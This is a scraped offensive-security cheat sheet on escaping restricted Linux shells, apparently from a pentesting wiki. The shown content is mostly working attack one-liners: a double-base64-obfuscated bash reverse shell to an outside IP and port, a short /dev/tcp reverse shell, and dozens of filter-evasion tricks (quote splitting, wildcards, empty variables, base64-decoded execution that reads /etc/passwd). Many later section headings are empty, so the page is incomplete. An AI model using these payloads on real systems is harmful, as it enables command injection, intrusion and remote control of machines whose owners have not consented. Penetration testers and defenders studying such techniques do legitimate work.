search

Bypass Linux Shell Restrictions

hashtag
Bypass Linux Shell Restrictions

hashtag
Common Limitations Bypasses

hashtag
Reverse Shell

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

hashtag
Short Rev shell

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

hashtag
Bypass Paths and forbidden words

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64


# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

hashtag
Bypass forbidden spaces

hashtag
Bypass backslash and slash

hashtag
Bypass pipes

hashtag
Bypass with hex encoding

hashtag
Bypass IPs

hashtag
Time based data exfiltration

hashtag
Getting chars from Env Variables

hashtag
DNS data exfiltration

You could use burpcollab or pingbarrow-up-right for example.

hashtag
Builtins

In case you cannot execute external functions and only have access to a limited set of builtins to obtain RCE, there are some handy tricks to do it. Usually you won't be able to use all of the builtins, so you should know all your options to try to bypass the jail. Idea from devploitarrow-up-right. First of all check all the shell builtinsarrow-up-right. Then here you have some recommendations:

hashtag
Polyglot command injection

hashtag
Bypass potential regexes

hashtag
Bashfuscator

hashtag
RCE with 5 chars

hashtag
RCE with 4 chars

hashtag
Read-Only/Noexec Bypass

If you are inside a filesystem with the read-only and noexec protections there are still ways to execute arbitrary binaries. One of them is by the use of DDexec, yo can find an explanation of the technique in:

{% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %} ddexec.mdarrow-up-right {% endcontent-ref %}

hashtag
References & More

PreviousLinux Environment VariablesNextTransferring Files on Linux

Last updated